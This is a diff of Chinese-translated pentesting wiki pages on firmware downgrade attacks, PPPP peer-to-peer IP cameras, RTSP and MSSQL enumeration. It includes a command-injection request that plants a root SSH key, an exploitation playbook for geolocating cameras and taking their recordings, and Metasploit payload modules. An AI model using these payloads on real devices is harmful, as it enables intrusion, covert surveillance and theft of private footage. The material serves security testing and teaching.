即使供应商对固件镜像实施了加密签名检查,**版本回滚(降级)保护通常被省略**。当引导或恢复加载程序仅验证嵌入的公钥签名,但不比较正在闪存的镜像的 *版本*(或单调计数器)时,攻击者可以合法地安装一个 **较旧的、仍然具有有效签名的易受攻击的固件**,从而重新引入已修补的漏洞。
|
||||
即使厂商对固件镜像实施了加密签名校验,**版本回滚(downgrade)保护经常被遗漏**。如果 boot- 或 recovery-loader 仅使用嵌入的公钥验证签名,但不比较 *version*(或单调计数器)被刷写镜像的版本,攻击者就可以合法地安装一个仍然带有有效签名的 **旧的、存在漏洞的固件**,从而重新引入已修补的漏洞。
|
||||
|
||||
典型攻击工作流程:
|
||||
典型攻击流程:
|
||||
|
||||
1. **获取较旧的签名镜像**
|
||||
* 从供应商的公共下载门户、CDN 或支持网站获取。
|
||||
* 从伴随的移动/桌面应用程序中提取(例如,在 Android APK 的 `assets/firmware/` 中)。
|
||||
* 从第三方存储库如 VirusTotal、互联网档案、论坛等检索。
|
||||
2. **通过任何暴露的更新通道将镜像上传或提供给设备**:
|
||||
* Web UI、移动应用 API、USB、TFTP、MQTT 等。
|
||||
* 许多消费类 IoT 设备暴露 *未认证* 的 HTTP(S) 端点,接受 Base64 编码的固件块,服务器端解码并触发恢复/升级。
|
||||
3. 降级后,利用在新版本中修补的漏洞(例如,后来添加的命令注入过滤器)。
|
||||
4. 可选地将最新镜像重新闪存或禁用更新,以避免在获得持久性后被检测。
|
||||
1. **Obtain an older signed image**
|
||||
* 从厂商的公开下载门户、CDN 或支持网站获取。
|
||||
* 从配套的移动/桌面应用中提取(例如在 Android APK 的 `assets/firmware/` 目录内)。
|
||||
* 从第三方仓库检索,例如 VirusTotal、互联网存档、论坛等。
|
||||
2. **Upload or serve the image to the device** via any exposed update channel:
|
||||
* 通过任何暴露的更新通道将镜像上传或提供给设备:Web UI、mobile-app API、USB、TFTP、MQTT 等。
|
||||
* 许多消费级 IoT 设备暴露 *unauthenticated* 的 HTTP(S) 端点,这些端点接受 Base64 编码的固件 blobs,在服务端解码并触发恢复/升级。
|
||||
3. 降级后,利用在新版中已被修补的漏洞(例如后来添加的 command-injection 过滤器)。
|
||||
4. 可选择在获得持久性后再刷回最新镜像,或禁用更新以避免被发现。
|
||||
|
||||
### 示例:降级后的命令注入
|
||||
### 示例:降级后的 Command Injection
|
||||
```http
|
||||
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
在易受攻击的(降级)固件中,`md5` 参数直接连接到 shell 命令中而没有进行清理,从而允许注入任意命令(在这里 - 启用基于 SSH 的 root 访问)。后来的固件版本引入了基本的字符过滤器,但缺乏降级保护使得修复变得无效。
|
||||
在存在漏洞(被降级)的 firmware 中,`md5` 参数被直接串接到 shell 命令里且没有进行消毒,导致可注入任意命令(此处用于启用基于密钥的 SSH root 访问)。后来的 firmware 版本加入了一个基本的字符过滤,但缺乏降级保护使该修复无效。
|
||||
|
||||
### 从移动应用提取固件
|
||||
### 从移动应用提取 firmware
|
||||
|
||||
许多供应商将完整的固件映像捆绑在其配套的移动应用程序中,以便应用程序可以通过蓝牙/Wi-Fi 更新设备。这些包通常以未加密的形式存储在 APK/APEX 中,路径如 `assets/fw/` 或 `res/raw/`。工具如 `apktool`、`ghidra`,甚至普通的 `unzip` 允许您在不接触物理硬件的情况下提取签名的映像。
|
||||
许多厂商将完整的 firmware 镜像捆绑在其配套的移动应用中,以便应用通过 Bluetooth/Wi‑Fi 更新设备。这些包通常以未加密形式存放在 APK/APEX 的路径如 `assets/fw/` 或 `res/raw/` 下。像 `apktool`、`ghidra`,甚至普通的 `unzip` 等工具可以在不接触物理硬件的情况下提取已签名的镜像。
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
firmware_v1.3.11.490_signed.bin
|
||||
```
|
||||
### 更新逻辑评估清单
|
||||
### 评估更新逻辑的检查清单
|
||||
|
||||
* *更新端点* 的传输/认证是否得到充分保护(TLS + 认证)?
|
||||
* 设备在刷写之前是否比较 **版本号** 或 **单调反回滚计数器**?
|
||||
* 镜像是否在安全启动链中得到验证(例如,ROM代码检查签名)?
|
||||
* 用户空间代码是否执行额外的合理性检查(例如,允许的分区映射、型号)?
|
||||
* *部分* 或 *备份* 更新流程是否重用相同的验证逻辑?
|
||||
* update endpoint 的传输/认证是否得到充分保护(TLS + 认证)?
|
||||
* 设备在刷写前是否比较 **版本号** 或 **monotonic anti-rollback counter**?
|
||||
* 镜像是否在 secure boot chain 中被验证(例如签名由 ROM code 检查)?
|
||||
* userland code 是否执行额外的合理性检查(例如允许的 partition map、型号)?
|
||||
* *partial* 或 *backup* 更新流程是否重用相同的验证逻辑?
|
||||
|
||||
> 💡 如果上述任何一项缺失,平台可能容易受到回滚攻击。
|
||||
> 💡 如果以上任何一项缺失,平台很可能容易受到 rollback attacks。
|
||||
|
||||
## 演练的易受攻击固件
|
||||
## 用于练习的易受攻击的 firmware
|
||||
|
||||
要练习发现固件中的漏洞,可以使用以下易受攻击的固件项目作为起点。
|
||||
To practice discovering vulnerabilities in firmware, use the following vulnerable firmware projects as a starting point.
|
||||
|
||||
- OWASP IoTGoat
|
||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
- Damn Vulnerable Router Firmware Project
|
||||
- The Damn Vulnerable Router Firmware Project
|
||||
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
|
||||
- Damn Vulnerable ARM Router (DVAR)
|
||||
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
|
||||
@ -283,7 +290,7 @@ firmware_v1.3.11.490_signed.bin
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
## 培训和认证
|
||||
## 培训与证书
|
||||
|
||||
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||
|
||||
|
BIN
src/images/k8studio.jpg
Normal file
BIN
src/images/k8studio.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 6.5 KiB |
@ -0,0 +1,165 @@
|
||||
# 32100/UDP - Pentesting PPPP (CS2) P2P 摄像头
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 概述
|
||||
|
||||
PPPP(又名 “P2P”)是 CS2 Network 的专有设备连接栈,广泛嵌入在低成本 IP cameras 和其他 IoT 设备中。它提供 rendezvous、NAT 穿透(UDP hole punching)、在 UDP 之上实现的应用层“可靠”流以及基于 ID 的寻址方案,允许移动/桌面应用仅凭设备 ID 就能在互联网上任何地方访问设备。
|
||||
|
||||
与攻击者相关的关键特征:
|
||||
- 设备按 ID 前缀向三台厂商运营的 rendezvous 服务器注册。客户端查询相同服务器以获取设备的外部/中继地址,然后尝试 UDP hole punching。存在中继回退机制。
|
||||
- 默认服务器监听端口可通过 UDP/32100 访问。一个最小的 “hello” 探测就足以指纹化服务器和部分设备。
|
||||
- 存在可选的 blanket cipher 和一个特殊的 “CRCEnc” 模式,但设计上很弱,且在流行生态(例如 LookCam)中通常被禁用。
|
||||
- 控制平面通常是在 PPPP stream 上传输的 JSON commands,常见缺乏认证或存在内存安全漏洞。
|
||||
|
||||
典型设备 ID 格式(LookCam 系列):PREFIX-######-CCCCC,应用中常被缩短显示(例如 GHBB-000001-NRLXW → G000001NRLXW)。观测到的前缀:BHCC ("hekai")、FHBB 和 GHBB ("mykj")。
|
||||
|
||||
## 发现与枚举
|
||||
|
||||
- Internet 暴露:许多 PPPP super-nodes 会对 32100/UDP 探测作出响应。已知的明文和错误字符串响应使它们在流量捕获和 Internet 扫描器中容易被识别。
|
||||
- LAN 发现:设备通常会对本地广播的未加密搜索作出响应。使用 Paul Marrapese 的脚本进行枚举:
|
||||
- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
|
||||
|
||||
注意:
|
||||
- Apps 嵌入了包含混淆的服务器 IP 列表和协议密钥的 “init strings”。这些字符串可从 Android/iOS/Windows 客户端中轻易提取,并经常在许多产品线上重用。
|
||||
|
||||
## NAT 穿透与传输
|
||||
|
||||
- Rendezvous 服务器通过设备周期性的 keepalives 学习设备的公网映射。客户端查询服务器以获取该映射,然后尝试使用 hole punching 建立直接的 UDP 流。如果 NAT 穿透失败,流量会由指定的 PPPP relay 主机中继。
|
||||
- 应用层的 “stream” 在 UDP 之上实现了自己的 ACK/retx 逻辑;重传循环在许多代码路径中重复出现,可能会淹没丢包链路。
|
||||
|
||||
## 弱“加密”和密钥恢复
|
||||
|
||||
在 CS2 栈中存在两种无效的机制:
|
||||
|
||||
1) Blanket cipher(可选)– P2P_Proprietary_Encrypt
|
||||
- 通常被使用 LookCam 的 OEM 禁用。
|
||||
- App 端的 “init string” 提供密钥材料,该材料被约简为有效的 4 字节密钥(约 2^32 空间)。
|
||||
- 实用的已知明文:发送到 UDP/32100 的 MSG_HELLO 的前 4 字节已知为 F1 00 00 00。观察到一次加密握手就能快速恢复或验证密钥。
|
||||
- 一些控制消息(例如 MSG_REPORT_SESSION_READY)总是使用库中硬编码的密钥在应用间共享并加密。
|
||||
|
||||
2) 注册“加密” – PPPP_CRCEnc
|
||||
- 尽管名称如此,这并不是 CRC。它是一个固定重复的 XOR keystream,带有一个 4 字节的填充校验(未认证)。
|
||||
- LookCam 网络通常只在设备 → 服务器注册(MSG_DEV_LGN_CRC)时使用 CRCEnc。大多数其他流量保持明文。
|
||||
|
||||
PPPP_CRCEnc 的简单 keystream 恢复(Python):
|
||||
```python
|
||||
# ciphertext: captured bytes of an encrypted registration message
|
||||
# known: guessed/known plaintext region (e.g., JSON or constant header)
|
||||
keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
|
||||
# Decrypt more bytes by XORing with the repeating keystream
|
||||
pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
|
||||
```
|
||||
威胁模型不匹配:CS2 资料侧重于防止通过伪造设备注册造成的 DoS,而不是保密性。这解释了为什么注册会被选择性地“加密”,而视频/控制仍然是可选或明文。历史上的 PPPP 服务器没有速率限制,允许大规模的暴力破解/滥用。
|
||||
|
||||
## 控制平面:JSON 命令 和 Auth Bypass
|
||||
|
||||
许多 PPPP 摄像头固件在会话建立后交换 JSON 消息。下面是客户端发送的“login”示例:
|
||||
```json
|
||||
{
|
||||
"cmd": "LoginDev",
|
||||
"pwd": "123456"
|
||||
}
|
||||
```
|
||||
LookCam-class 设备的常见漏洞:
|
||||
- 固件同时忽略 LoginDev 流程 和 每次请求的 pwd 字段(CWE-287,CWE-306)。设备在不验证密码的情况下接受操作命令。
|
||||
- 利用方法:不要发送 LoginDev 或忽略其结果;直接发送命令。
|
||||
|
||||
Useful commands observed:
|
||||
- searchWiFiList – 调用外部程序 iwlist;将原始输出写入 /tmp/wifi_scan.txt。
|
||||
- DownloadFile – 任意路径读取原语,无路径限制。
|
||||
|
||||
Workflow to deanonymize location via transient artifacts:
|
||||
1) Send {"cmd":"searchWiFiList"}.
|
||||
2) Read /tmp/wifi_scan.txt via DownloadFile.
|
||||
3) Submit BSSID MACs to a geolocation API (e.g., Google Geolocation API) to localize the camera to tens of meters.
|
||||
|
||||
## Memory-Safety to RCE on Embedded Firmware
|
||||
|
||||
Typical unsafe pattern (pseudocode from handlers):
|
||||
```c
|
||||
char buf[256];
|
||||
char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
memcpy(buf, cmd, strlen(cmd)); // no bound check
|
||||
```
|
||||
- 触发:任何长度大于 255 字节的 cmd 字符串会导致 stack buffer overflow (CWE-120/121)。
|
||||
- 防护:没有 stack canary;这些构建通常禁用 DEP/NX 和 ASLR。
|
||||
- 影响:可在设备的 CPU(例如 ARM)上使用单阶段 shellcode 或经典的 ROP/ret2libc,实现完全妥协并进行 LAN pivoting。
|
||||
|
||||
See also:
|
||||
-
|
||||
{{#ref}}
|
||||
../binary-exploitation/stack-overflow/README.md
|
||||
{{#endref}}
|
||||
-
|
||||
{{#ref}}
|
||||
../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Cloud Storage Abuse (HTTP, Device-ID only)
|
||||
|
||||
许多 LookCam 品牌的固件仅通过 HTTP 将录制上传到 api.l040z.com(BHCC 使用 apicn.l040z.com)。观察:
|
||||
- 固件中没有 TLS;传输为明文 HTTP。
|
||||
- API 的“authentication”仅基于 device-ID:任何知道该 ID 的人都可以获取录音。
|
||||
- 5 MiB 的分块是硬编码的。
|
||||
- 远程启用:启动时设备会调用 http://api.l040z.com/camera/signurl;服务器的响应决定是否开始上传。移动应用可能会显示云服务“disabled”,但上传仍会发生。第三方可以为受害者 ID 购买/启用云服务并悄然收集录像。
|
||||
|
||||
这属于典型的敏感明文传输(CWE-319),并且缺少服务器端的 authZ。
|
||||
|
||||
## Device-ID Enumeration and Guessing
|
||||
|
||||
- ID 格式:PREFIX-######-CCCCC 和应用缩短形式(例如 GHBB-000001-NRLXW → G000001NRLXW)。
|
||||
- 前缀家族:BHCC(hekai servers)、FHBB 和 GHBB(mykj servers)。每个前缀映射到三个 rendezvous 服务器以实现 HA。
|
||||
- 5 字母 verifier 使用 22 个大写字母的字母表(排除了 A、I、O、Q)→ 22^5 ≈ 5.15M 种组合,每个数字基底。
|
||||
- 先前研究观察到服务器端没有速率限制,这使得分布式猜测变得可行。verifier 算法是定制的,可能可猜测或可通过反向工程应用/固件获得。
|
||||
|
||||
Practical sources of IDs:
|
||||
- 在官方应用中随处可见,且经常在用户截图/视频中 leaked。
|
||||
- AP 模式的 SSID 等于 device ID;许多设备在 onboarding 期间会暴露一个开放的 AP。
|
||||
|
||||
## Forcing Remote Reachability
|
||||
|
||||
一些固件会循环重启直到 rendezvous 服务器可达。如果 egress 被阻断,设备将保持重启循环,实质上强迫所有者将其置于可被 Internet 访问的状态,从而暴露给 PPPP rendezvous。
|
||||
|
||||
## Practical Exploitation Playbook (for repro/defense testing)
|
||||
|
||||
1) Obtain device ID
|
||||
- 从 app UI 或 AP SSID 获取;否则枚举 PREFIX+number 并暴力尝试 22^5 的 verifier 空间。
|
||||
|
||||
2) Establish PPPP session
|
||||
- 使用 CS2 PPPP 客户端或自定义代码;从 app init 字符串中提取服务器 IP 列表和 init keys;尝试 UDP hole punching;失败则回退到 relay。
|
||||
|
||||
3) Bypass auth
|
||||
- 跳过 LoginDev 或忽略其结果;直接发送 operational JSON。
|
||||
|
||||
4) Exfiltrate files / geo-locate
|
||||
- 发送 {"cmd":"searchWiFiList"};然后 DownloadFile "/tmp/wifi_scan.txt";将 BSSIDs 提交到 geolocation API。
|
||||
|
||||
5) Achieve RCE
|
||||
- 发送长度 > 255 字节的 cmd 以触发 stack overflow;构建 ROP/ret2libc 或注入 shellcode(无 canary/DEP/ASLR)。
|
||||
|
||||
6) Cloud access
|
||||
- 使用 device ID 与 api.l040z.com 的端点交互;注意 5 MiB 分块;云服务的启用由 /camera/signurl 控制,与 app UI 状态无关。
|
||||
|
||||
## Related Protocols/Services
|
||||
|
||||
-
|
||||
{{#ref}}
|
||||
554-8554-pentesting-rtsp.md
|
||||
{{#endref}}
|
||||
-
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-wifi/README.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [A look at a P2P camera (LookCam app) – Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
|
||||
- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
|
||||
- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
|
||||
- [General PPPP analysis – Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
|
||||
- [CS2 Network sales deck (2016) – PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
|
||||
- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -6,32 +6,32 @@
|
||||
|
||||
来自 [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
|
||||
|
||||
> **实时流媒体协议** (**RTSP**) 是一种网络控制协议,旨在用于娱乐和通信系统,以控制流媒体服务器。该协议用于在端点之间建立和控制媒体会话。媒体服务器的客户端发出类似于VHS的命令,如播放、录制和暂停,以便实时控制从服务器到客户端(视频点播)或从客户端到服务器(语音录制)的媒体流。
|
||||
> **Real Time Streaming Protocol** (**RTSP**) 是一种网络控制协议,设计用于娱乐和通信系统中以控制流媒体服务器。该协议用于在端点之间建立和控制媒体会话。媒体服务器的客户端发出类似 VHS 的命令,例如 play、record 和 pause,以便对从服务器到客户端(Video On Demand)或从客户端到服务器(Voice Recording)的媒体流进行实时控制。
|
||||
>
|
||||
> 流数据的传输本身不是RTSP的任务。大多数RTSP服务器使用实时传输协议(RTP)与实时控制协议(RTCP)结合进行媒体流传输。然而,一些供应商实现了专有的传输协议。例如,RealNetworks的RTSP服务器软件也使用RealNetworks的专有实时数据传输(RDT)。
|
||||
> 流媒体数据本身的传输并不是 RTSP 的任务。大多数 RTSP 服务器在媒体流传输中使用 Real-time Transport Protocol (RTP) 与 Real-time Control Protocol (RTCP) 配合。然而,某些厂商实现了专有的传输协议。例如,RealNetworks 的 RTSP 服务器软件也使用了 RealNetworks 的专有 Real Data Transport (RDT)。
|
||||
|
||||
**默认端口:** 554,8554
|
||||
**默认端口:** 554,8554
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
554/tcp open rtsp
|
||||
```
|
||||
## 关键细节
|
||||
|
||||
**RTSP** 类似于 HTTP,但专门为媒体流设计。它在一个简单的规范中定义,可以在这里找到:
|
||||
**RTSP** 类似于 HTTP,但专为媒体流设计。其简单明了的规范可在此处找到:
|
||||
|
||||
[RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)
|
||||
|
||||
设备可能允许 **未认证** 或 **已认证** 访问。要检查,可以发送一个 "DESCRIBE" 请求。下面是一个基本示例:
|
||||
设备可能允许 **无需认证** 或 **需要认证** 访问。要检查,发送一个 "DESCRIBE" 请求。下面给出一个基本示例:
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
|
||||
|
||||
请记住,正确的格式包括一个双 "\r\n" 以确保一致的响应。"200 OK" 响应表示 **未认证访问**,而 "401 Unauthorized" 则表示需要认证,揭示是否需要 **Basic** 或 **Digest authentication**。
|
||||
请记住,正确的格式包含双重 "\r\n" 以获得一致的响应。返回 "200 OK" 表示 **无需认证访问**,而 "401 Unauthorized" 则表示需要认证,并会显示是否需要 **Basic** 或 **Digest authentication**。
|
||||
|
||||
对于 **Basic authentication**,您将用户名和密码编码为 base64,并将其包含在请求中,如下所示:
|
||||
对于 **Basic authentication**,将用户名和密码以 base64 编码并像下面这样包含在请求中:
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
|
||||
|
||||
此示例使用 "admin" 和 "1234" 作为凭据。以下是一个 **Python 脚本** 用于发送这样的请求:
|
||||
此示例使用 "admin" 和 "1234" 作为凭据。下面是一个用于发送该请求的 **Python script**:
|
||||
```python
|
||||
import socket
|
||||
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
|
||||
@ -41,42 +41,48 @@ s.sendall(req)
|
||||
data = s.recv(1024)
|
||||
print(data)
|
||||
```
|
||||
**基本认证** 更简单且更受欢迎。 **摘要认证** 需要仔细处理在 "401 Unauthorized" 响应中提供的认证细节。
|
||||
**Basic authentication** 更简单且更受偏爱。**Digest authentication** 需要仔细处理在 "401 Unauthorized" 响应中提供的认证细节。
|
||||
|
||||
此概述简化了访问 RTSP 流的过程,重点关注 **基本认证**,因为它在初始尝试中简单且实用。
|
||||
本概述简化了访问 RTSP 流的过程,重点关注 **Basic authentication**,因为它在初次尝试时更简单且更实用。
|
||||
|
||||
## 枚举
|
||||
## Enumeration
|
||||
|
||||
获取有关有效方法和支持的 URL 的信息,并尝试强行访问(如有必要)以获取内容。
|
||||
让我们收集有关支持的有效 methods 和 URLs 的信息,并在需要时尝试通过 brute-force 获取对内容的访问权限。
|
||||
```bash
|
||||
nmap -sV --script "rtsp-*" -p <PORT> <IP>
|
||||
```
|
||||
#### 使用 [ffplay](https://ffmpeg.org/ffplay.html) 查看 RTSP 流
|
||||
一旦你发现了有效的 RTSP 路径(例如,`/mpeg4`,`/live.sdp`)并确认了访问权限(未认证或使用凭据),你可以使用 `ffplay` 来流式传输该视频源:
|
||||
一旦你发现了有效的 RTSP 路径(例如 `/mpeg4`、`/live.sdp`)并确认可以访问(无需认证或使用凭证),你就可以使用 `ffplay` 来播放该媒体流:
|
||||
```bash
|
||||
ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
|
||||
```
|
||||
- `-rtsp_transport tcp`:使用 TCP 而不是 UDP 以获得更可靠的流媒体
|
||||
- `-x`,`-y`:可选标志以控制视频分辨率
|
||||
- `-rtsp_transport tcp`: 使用 TCP 而不是 UDP 以获得更可靠的流媒体传输
|
||||
- `-x`, `-y`: 可选标志,用于控制视频分辨率
|
||||
- 根据需要替换 `<IP>` 和路径
|
||||
|
||||
### [暴力破解](../generic-hacking/brute-force.md#rtsp)
|
||||
### [Brute Force](../generic-hacking/brute-force.md#rtsp)
|
||||
|
||||
### **其他有用的程序**
|
||||
|
||||
进行暴力破解:[https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
|
||||
To bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
|
||||
|
||||
[**Cameradar**](https://github.com/Ullaakut/cameradar)
|
||||
|
||||
- 检测任何可访问目标上的开放 RTSP 主机
|
||||
- 获取它们的公共信息(主机名、端口、摄像头型号等)
|
||||
- 启动自动字典攻击以获取它们的流路径(例如 /live.sdp)
|
||||
- 启动自动字典攻击以获取摄像头的用户名和密码
|
||||
- 从中生成缩略图以检查流是否有效,并快速预览其内容
|
||||
- 尝试创建 Gstreamer 管道以检查它们是否正确编码
|
||||
- 在任何可访问的目标上检测开放的 RTSP 主机
|
||||
- 获取它们的公开信息(hostname、port、camera model 等)
|
||||
- 发起自动化的 dictionary attacks 以获取其 stream route(例如 /live.sdp)
|
||||
- 发起自动化的 dictionary attacks 以获取摄像头的 username 和 password
|
||||
- 从流中生成缩略图以检查流是否有效并快速预览其内容
|
||||
- 尝试创建一个 Gstreamer pipeline 以检查它们是否被正确编码
|
||||
- 打印 Cameradar 能获取的所有信息的摘要
|
||||
|
||||
## 参考文献
|
||||
### See also
|
||||
|
||||
{{#ref}}
|
||||
32100-udp-pentesting-pppp-cs2-p2p-cameras.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)
|
||||
- [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
|
||||
|
@ -6,33 +6,33 @@
|
||||
|
||||
来自 [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
|
||||
> **Microsoft SQL Server** 是由 Microsoft 开发的 **关系数据库** 管理系统。作为数据库服务器,它是一个软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据——这些应用程序可以在同一台计算机上运行,也可以在网络(包括互联网)上的另一台计算机上运行。
|
||||
> **Microsoft SQL Server** 是由 Microsoft 开发的 **关系型数据库** 管理系统。作为一个数据库服务器,它是一个软件产品,其主要功能是根据其他软件应用程序的请求存储和检索数据——这些应用程序可以运行在同一台计算机上,也可以运行在通过网络(包括互联网)的另一台计算机上。
|
||||
|
||||
**默认端口:** 1433
|
||||
**默认端口:** 1433
|
||||
```
|
||||
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|
||||
```
|
||||
### **默认 MS-SQL 系统表**
|
||||
|
||||
- **master 数据库**: 这个数据库至关重要,因为它捕获了 SQL Server 实例的所有系统级细节。
|
||||
- **msdb 数据库**: SQL Server Agent 利用这个数据库来管理警报和作业的调度。
|
||||
- **model 数据库**: 作为 SQL Server 实例上每个新数据库的蓝图,任何诸如大小、排序规则、恢复模型等的更改都会在新创建的数据库中反映出来。
|
||||
- **Resource 数据库**: 一个只读数据库,存放随 SQL Server 附带的系统对象。这些对象虽然物理上存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑上呈现。
|
||||
- **tempdb 数据库**: 作为瞬态对象或中间结果集的临时存储区域。
|
||||
- **master Database**: 此数据库至关重要,因为它捕获了 SQL Server 实例的所有系统级详细信息。
|
||||
- **msdb Database**: SQL Server Agent 使用此数据库来管理警报和作业的调度。
|
||||
- **model Database**: 作为 SQL Server 实例上每个新数据库的蓝本,任何诸如大小、排序规则、恢复模式等更改都会反映在新创建的数据库中。
|
||||
- **Resource Database**: 一个只读数据库,包含 SQL Server 附带的系统对象。尽管这些对象在 Resource database 中物理存储,但在每个数据库的 sys schema 中以逻辑形式呈现。
|
||||
- **tempdb Database**: 作为临时对象或中间结果集的临时存储区。
|
||||
|
||||
## 枚举
|
||||
|
||||
### 自动枚举
|
||||
|
||||
如果你对该服务一无所知:
|
||||
如果你对该服务一无所知:
|
||||
```bash
|
||||
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
> [!TIP]
|
||||
> 如果你**没有** **凭据**,你可以尝试猜测它们。你可以使用 nmap 或 metasploit。小心,如果你使用现有用户名多次登录失败,你可能会**锁定账户**。
|
||||
> 如果你 **没有** **credentials**,你可以尝试猜测它们。你可以使用 nmap 或 metasploit。注意:如果使用已存在的用户名多次 login 失败,你可能会 **block accounts**。
|
||||
|
||||
#### Metasploit (需要凭据)
|
||||
#### Metasploit (需要 creds)
|
||||
```bash
|
||||
#Set USERNAME, RHOSTS and PASSWORD
|
||||
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
||||
@ -64,7 +64,7 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
||||
#Add new admin user from meterpreter session
|
||||
msf> use windows/manage/mssql_local_auth_bypass
|
||||
```
|
||||
### [**暴力破解**](../../generic-hacking/brute-force.md#sql-server)
|
||||
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
|
||||
|
||||
### 手动枚举
|
||||
|
||||
@ -156,14 +156,14 @@ SELECT * FROM sysusers
|
||||
```
|
||||
#### 获取权限
|
||||
|
||||
1. **可安全性:** 定义为由 SQL Server 管理的用于访问控制的资源。这些资源分为:
|
||||
- **服务器** – 示例包括数据库、登录、端点、可用性组和服务器角色。
|
||||
- **数据库** – 示例包括数据库角色、应用程序角色、模式、证书、全文目录和用户。
|
||||
- **模式** – 包括表、视图、过程、函数、同义词等。
|
||||
2. **权限:** 与 SQL Server 可安全性相关的权限,如 ALTER、CONTROL 和 CREATE,可以授予主体。权限管理发生在两个级别:
|
||||
- **服务器级别** 使用登录
|
||||
- **数据库级别** 使用用户
|
||||
3. **主体:** 该术语指被授予可安全性权限的实体。主体主要包括登录和数据库用户。对可安全性的访问控制通过授予或拒绝权限或通过将登录和用户包含在具备访问权限的角色中来实现。
|
||||
1. **可保护对象 (Securable):** 指由 SQL Server 管理以进行访问控制的资源。这些可分为:
|
||||
- **服务器 (Server)** – 示例包括数据库、登录名、端点、可用性组和服务器角色。
|
||||
- **数据库 (Database)** – 示例包括数据库角色、应用角色、架构、证书、全文目录和用户。
|
||||
- **架构 (Schema)** – 包括表、视图、存储过程、函数、同义词等。
|
||||
2. **权限 (Permission):** 与 SQL Server 可保护对象相关的权限(如 ALTER、CONTROL 和 CREATE)可以授予主体。权限的管理发生在两个层级:
|
||||
- **服务器级别 (Server Level)** 使用登录名
|
||||
- **数据库级别 (Database Level)** 使用用户
|
||||
3. **主体 (Principal):** 该术语指被授予对可保护对象权限的实体。主体主要包括登录名和数据库用户。对可保护对象的访问控制通过授予或拒绝权限,或将登录名和用户包含在具有访问权限的角色中来实现。
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
@ -188,7 +188,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
||||
### Execute OS Commands
|
||||
|
||||
> [!CAUTION]
|
||||
